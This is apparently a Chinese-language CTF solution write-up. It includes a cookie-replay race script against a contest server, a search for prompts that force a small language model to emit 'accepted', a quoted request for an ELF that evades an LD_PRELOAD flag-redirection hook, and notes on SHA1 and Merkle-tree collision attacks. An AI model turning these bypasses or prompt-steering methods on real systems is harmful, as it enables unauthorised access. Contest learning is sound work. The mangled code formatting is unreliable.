进站时，你在 JR 上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作 A，两个汉字）？ 在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只 3D 动物是什么品种？（记作 B，三个汉字）？（格式：A-B）搜ボタン＆カフリンクス 上野駅能搜到这个instagram post，里面是熊猫；用google lens识别最后一张图能搜到这个装饰在Super Mario Bros.Shop，在渋谷駅旁边，搜渋谷駅 3d 动物能找到动物是秋田犬
# convert above curl to python requests url = 'http://202.38.93.111:10077' # create new session s = requests.Session() cookies = {'session': '.eJyr...'} # post with cookie and data {"x":"1","y":"1"} # 发送的足够快就行 headers = {'Content-Type': 'application/json'} r = s.post(url, cookies=cookies, headers=headers, data='{"x":"0","y":"1"}') r = s.post(url, cookies=cookies, headers=headers, data='{"x":"1","y":"1"}') r = s.post(url, cookies=cookies, headers=headers, data='{"x":"2","y":"1"}') print(r.text) # {"board":[[1,-1,0],[0,-1,0],[0,-1,0]],"msg":"flag{I_can_eat_your_pieces_7843afed75}"}
start_time = time.time() item_id = 0 for item in resp_json['messages']: # 计算自上一个条目以来已经过去的时间 elapsed_time = time.time() - start_time # 计算还需要等待多长时间 delay = item['delay'] - elapsed_time if delay > 0: time.sleep(delay) text = item['text'] match = re.search(r'hack\[([a-zA-Z]*)\]', text) ifmatch: print(delay, text) # id is the index of the message id = item_id send_callback(id) item_id += 1
在What valid JSON files are not valid YAML 1.1 files? - Stack Overflow找到了12345e999。
JSON ⊄ YAML 1.2
翻到了I accidentally used YAML.parse instead of JSON.parse and it worked | Hacker News (ycombinator.com)和YAML Ain’t Markup Language (YAML™) Version 1.2，他们提到了：
JSON’s RFC4627 requires that mappingskeys merely “SHOULD” be unique, while YAML insists they “MUST” be. Technically, YAML therefore complies with the JSON spec, choosing to treat duplicates as an error. In practice, since JSON is silent on the semantics of such duplicates, the only portable JSON files are those with unique keys, which are therefore valid YAML files.
那构造一个有两个一样的key的json就行：
1
{"a":1,"a":1}
Git? Git!
1 2 3 4 5 6 7
# git reflog ea49f0c (HEAD -> main) HEAD@{0}: commit: Trim trailing spaces 15fd0a1 (origin/main, origin/HEAD) HEAD@{1}: reset: moving to HEAD~ 505e1a3 HEAD@{2}: commit: Trim trailing spaces 15fd0a1 (origin/main, origin/HEAD) HEAD@{3}: clone: from https://github.com/dair-ai/ML-Course-Notes.git # git reset --hard 505e1a3
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig import torch import pickle from tqdm.notebook import trange, tqdm
device = "cuda:0"if torch.cuda.is_available() else"cpu" model = AutoModelForCausalLM.from_pretrained('./TinyStories-33M') model = model.to(device) tokenizer = AutoTokenizer.from_pretrained("./TinyStories-33M")
# load counts_lst.pkl withopen('./counts_lst.pkl', 'rb') as f: counts_lst = pickle.load(f)
for i in trange(len(counts_lst)): prompt = counts_lst[i][0][0:7] input_ids = tokenizer.encode(prompt, return_tensors="pt").to(device) output = model.generate(input_ids, num_beams=1, max_new_tokens=30,pad_token_id=tokenizer.eos_token_id) output_text = tokenizer.decode(output[0], skip_special_tokens=True) # if output contains "accepted", print it if"accepted"in output_text: print(prompt) print(output_text) print()
能找到以下的输入输出对：
1 2 3 4 5 6 7 8 9
atively atively accepted the challenge.
The little girl was so excited. She had never been asked to do something like this before. She was determined to succeed
Apology Apology accepted. She was so happy and excited. She thanked the old man and ran off to show her friends her new toy.
The moral of
随意输入一个进网页即可：
1 2 3 4 5 6 7 8
# input atively
# reply accepted the challenge.
The little girl was so excited. She had never been asked to do something like this before. She was determined to succeed 🎉🎉🎉 flag2: flag{yOU-@R3-@cCepT3D-tO-C0nt1Nu3-THe-g4M3} 🎉🎉🎉
# Path to the binary file binary_file_path = "video.bin"
# Reading the content of the binary file withopen(binary_file_path, "rb") as f: video_data = np.frombuffer(f.read(), dtype=np.uint8)
defrestore_video(data, frame_count, width, height, output_file="restored_video.mp4", frame_rate=10): """ Try to restore the video from the given data using the specified parameters. :param data: NumPy array containing the video data :param frame_count: Number of frames in the video :param width: Width of each frame :param height: Height of each frame :param output_file: Name of the output video file :return: None """ # Calculate the total number of pixels in the video total_pixels = frame_count * width * height * 3 # Check if we have enough data to fill the video if data.size < total_pixels: print(f"Not enough data to fill the video. Missing {total_pixels - data.size} pixels.") return # Trim the data to fit the video exactly print("data used percentage:", total_pixels / data.size * 100) data = data[:total_pixels] # Reshape the data to create the video frames frames = data.reshape((frame_count, height, width, 3)) # Define the codec and create a video writer object fourcc = cv2.VideoWriter_fourcc(*"mp4v") out = cv2.VideoWriter(output_file, fourcc, frame_rate, (width, height)) # Write each frame to the video file for i inrange(frame_count): out.write(frames[i].astype(np.uint8)) # Release the video writer object out.release() print("Video restored and saved to", output_file) # return first frame return frames.astype(np.uint8)
# Example usage: restore_video(video_data, 300, 640, 480) # Note: The frame_count, width, and height parameters are just examples and need to be adjusted.
``` stage1.so的代码 ``` 我的CTF比赛里有一道题，主办方提供了一个stage1.so(上方代码），把打开/flag的请求都定向到/fakeflag了，这是dockerfile： ``` COPY --from=builder /lib.so /stage1.so ENV STAGE=1 RUN echo "I'll not let you open /flag again!" > /fakeflag RUN echo "Upload your binary to server to get real flag!" > /flag ``` 主办方提示这道题可能和LD_PRELOAD有关。你能帮我写一个linux ELF文件，来做到这点以及读一下flag的内容并打印吗。请注意，我只能上传一个ELF文件到主办方的这个docker执行，而且我没有办法在它的shell里设置任何LD变量。
sensor sw1 switch1 @enabled sensor sw2 switch2 @enabled sensor sw3 switch3 @enabled sensor sw4 switch4 @enabled sensor sw5 switch5 @enabled sensor sw6 switch6 @enabled sensor sw7 switch7 @enabled sensor sw8 switch8 @enabled op shl t sw1 7 set number t op shl t sw2 6 op add number number t op shl t sw3 5 op add number number t op shl t sw4 4 op add number number t op shl t sw5 3 op add number number t op shl t sw6 2 op add number number t op shl t sw7 1 op add number number t set t sw8 op add number number t set en 0 set i 0 jump 33 greaterThanEq i 16 op pow fl0 i 2 jump 31 notEqual fl0 number set en 1 jump 33 always x false op add i i 1 jump 26 always x false op equal fl1 0 sw1 op equal fl2 0 sw6 op or fl3 fl1 fl2 jump 38 equal fl3 0 set en 0 control enabled generator1 en 0 0 0 control enabled panel1 en 0 0 0 end
在网上找到了这篇文章：Attacking Merkle Trees with a second preimage attack | Hacker News (ycombinator.com)，但构造新的，具有一致hash的Merkle tree（个人认为算Second-preimage attack？）也是一件计算密集的事情。
有关撞SHA1笔者也找到了SHA1 - CTF Wiki (ctf-wiki.org)这篇文章，其中提到可以用google提供的那两个SHA1一致的PDF创建一个SHA1一样的文件，但这个文件至少要320bytes，不符合文中提到的帐号密码长度要小于100的要求（而且也不包含:）
小 Z 的谜题
这道题理论上应该可以转成立体几何或者3D Bin Packing问题，但这是个NP Hard问题，自己尝试了一些用近似算法的软件或着自己做也没能做出来，最接近的结果是下面这张图（差了一个1*2*2的方块）:
